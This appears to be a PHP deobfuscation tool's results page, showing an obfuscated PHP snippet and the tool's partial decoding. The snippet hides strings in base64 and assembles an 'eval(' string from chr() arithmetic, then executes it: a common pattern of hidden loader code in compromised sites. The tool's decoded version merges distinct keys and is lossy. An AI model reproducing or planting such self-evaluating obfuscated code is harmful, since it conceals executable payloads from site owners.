Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

class Decoder { private static $data; static function decode($_param) { ..

Decoded Output download

<?  class Decoder { 
    private static $data; 
 
    static function decode($_param) { 
        if (!self::$data) { 
            self::initialize(); 
        } 
        return base64_decode(self::$data[$_param]); 
    } 
 
    private static function initialize() { 
        self::$data = array( 
            "_" => "YzY0ZmU5M2I4NzVlZjVjY2Q=", 
            "_" => "", 
            "_" => "ZGVzZXRvdz13ZWJ5Z3JhYi13ZWJ5Z3JhYiZ3ZWJ5Z3JhYiZ3ZWJ5Z3JhYiZ3ZWJ5Z3JhYg==", 
            "_" => "ZG9jdW1lbnQ9c2hhcmVkLWNvbW1vbmx5", 
        ); 
    } 
} 
 
 
define(Decoder::decode("_"), Decoder::decode("_")); 
define(Decoder::decode("_"), 
chr(-0717-0744-0442- -02472). 
chr(-0335- -0162- -0341). 
chr((int)round(32.333333333333+32.333333333333+32.333333333333)). 
chr(0644- -0340+-0373+-0435). 
chr((int)round(20+20)). 
chr(-0501+0616- -032). 
chr(-0262+-0271+0745). 
chr(01112-0725). 
chr(-0254+01632-0523-0455). 
chr(01130+-0765). 
chr(-0132-0506-0424- -01443). 
chr(0517+-01125+0563). 
chr((int)round(56+56)). 
chr((int)round(28.5+28.5+28.5+28.5)). 
chr(0167+-022). 
chr((int)round(38.333333333333+38.333333333333+38.333333333333)). 
chr((int)round(28.75+28.75+28.75+28.75)). 
chr(-011+061). 
chr(-0352+01024-0310). 
chr((int)round(24.25+24.25+24.25+24.25)). 
chr(0207+-024). 
chr(-0310-0512- -01167). 
chr((int)round(13.5+13.5+13.5+13.5)). 
chr((int)round(17.333333333333+17.333333333333+17.333333333333)). 
chr((int)round(23.75+23.75+23.75+23.75)). 
chr(01312+-0752- -0223+-0417). 
chr(-0210+034- -0330-07). 
chr((int)round(24.75+24.75+24.75+24.75)). 
chr(0150-0165+0174). 
chr((int)round(33.333333333333+33.333333333333+33.333333333333)). 
chr((int)round(50.5+50.5)). 
chr(-0260-013- -0343). 
chr((int)round(24.75+24.75+24.75+24.75)). 
chr(076+-010). 
chr((int)round(13+13+13+13)). 
chr(01000- -0431- -0401-01664). 
chr((int)round(50.5+50.5)). 
chr(017+0103+-031). 
chr((int)round(25.5+25.5)). 
chr(-0407+-0521-0471- -01763). 
chr((int)round(28+28)). 
chr(-0133- -0222). 
chr((int)round(13.25+13.25+13.25+13.25)). 
chr(0362+0356-0573). 
chr((int)round(25.5+25.5+25.5+25.5)). 
chr((int)round(26.5+26.5)). 
chr((int)round(24.75+24.75+24.75+24.75)). 
chr(-01057+01452+-0670+0440). 
chr((int)round(50+50)). 
chr(-047+0120). 
chr(0436- -0325-0712). 
chr(072- -0231+-0252). 
chr(0157-0131+045)); 
    eval(constant(Decoder::decode("_"))); ?>

Did this file decode correctly?

Original Code

class Decoder {
    private static $data;

    static function decode($_param) {
        if (!self::$data) {
            self::initialize();
        }
        return base64_decode(self::$data[$_param]);
    }

    private static function initialize() {
        self::$data = array(
            "_\303" => "YzY0ZmU5M2I4NzVlZjVjY2Q=",
            "_\xac" => "",
            "\x5f\335\x94" => "ZGVzZXRvdz13ZWJ5Z3JhYi13ZWJ5Z3JhYiZ3ZWJ5Z3JhYiZ3ZWJ5Z3JhYiZ3ZWJ5Z3JhYg==",
            "_\xb2\xc4\xa5" => "ZG9jdW1lbnQ9c2hhcmVkLWNvbW1vbmx5",
        );
    }
}


define(Decoder::decode("_\267"), Decoder::decode("_"));
define(Decoder::decode("_\x99"),
chr(-0717-0744-0442- -02472).
chr(-0335- -0162- -0341).
chr((int)round(32.333333333333+32.333333333333+32.333333333333)).
chr(0644- -0340+-0373+-0435).
chr((int)round(20+20)).
chr(-0501+0616- -032).
chr(-0262+-0271+0745).
chr(01112-0725).
chr(-0254+01632-0523-0455).
chr(01130+-0765).
chr(-0132-0506-0424- -01443).
chr(0517+-01125+0563).
chr((int)round(56+56)).
chr((int)round(28.5+28.5+28.5+28.5)).
chr(0167+-022).
chr((int)round(38.333333333333+38.333333333333+38.333333333333)).
chr((int)round(28.75+28.75+28.75+28.75)).
chr(-011+061).
chr(-0352+01024-0310).
chr((int)round(24.25+24.25+24.25+24.25)).
chr(0207+-024).
chr(-0310-0512- -01167).
chr((int)round(13.5+13.5+13.5+13.5)).
chr((int)round(17.333333333333+17.333333333333+17.333333333333)).
chr((int)round(23.75+23.75+23.75+23.75)).
chr(01312+-0752- -0223+-0417).
chr(-0210+034- -0330-07).
chr((int)round(24.75+24.75+24.75+24.75)).
chr(0150-0165+0174).
chr((int)round(33.333333333333+33.333333333333+33.333333333333)).
chr((int)round(50.5+50.5)).
chr(-0260-013- -0343).
chr((int)round(24.75+24.75+24.75+24.75)).
chr(076+-010).
chr((int)round(13+13+13+13)).
chr(01000- -0431- -0401-01664).
chr((int)round(50.5+50.5)).
chr(017+0103+-031).
chr((int)round(25.5+25.5)).
chr(-0407+-0521-0471- -01763).
chr((int)round(28+28)).
chr(-0133- -0222).
chr((int)round(13.25+13.25+13.25+13.25)).
chr(0362+0356-0573).
chr((int)round(25.5+25.5+25.5+25.5)).
chr((int)round(26.5+26.5)).
chr((int)round(24.75+24.75+24.75+24.75)).
chr(-01057+01452+-0670+0440).
chr((int)round(50+50)).
chr(-047+0120).
chr(0436- -0325-0712).
chr(072- -0231+-0252).
chr(0157-0131+045));
    eval(constant(Decoder::decode("_\311\335")));

Function Calls

None

Variables

None

Stats

MD5 81fbb58713863c26290a8d5c6fa11594
Eval Count 0
Decode Time 70 ms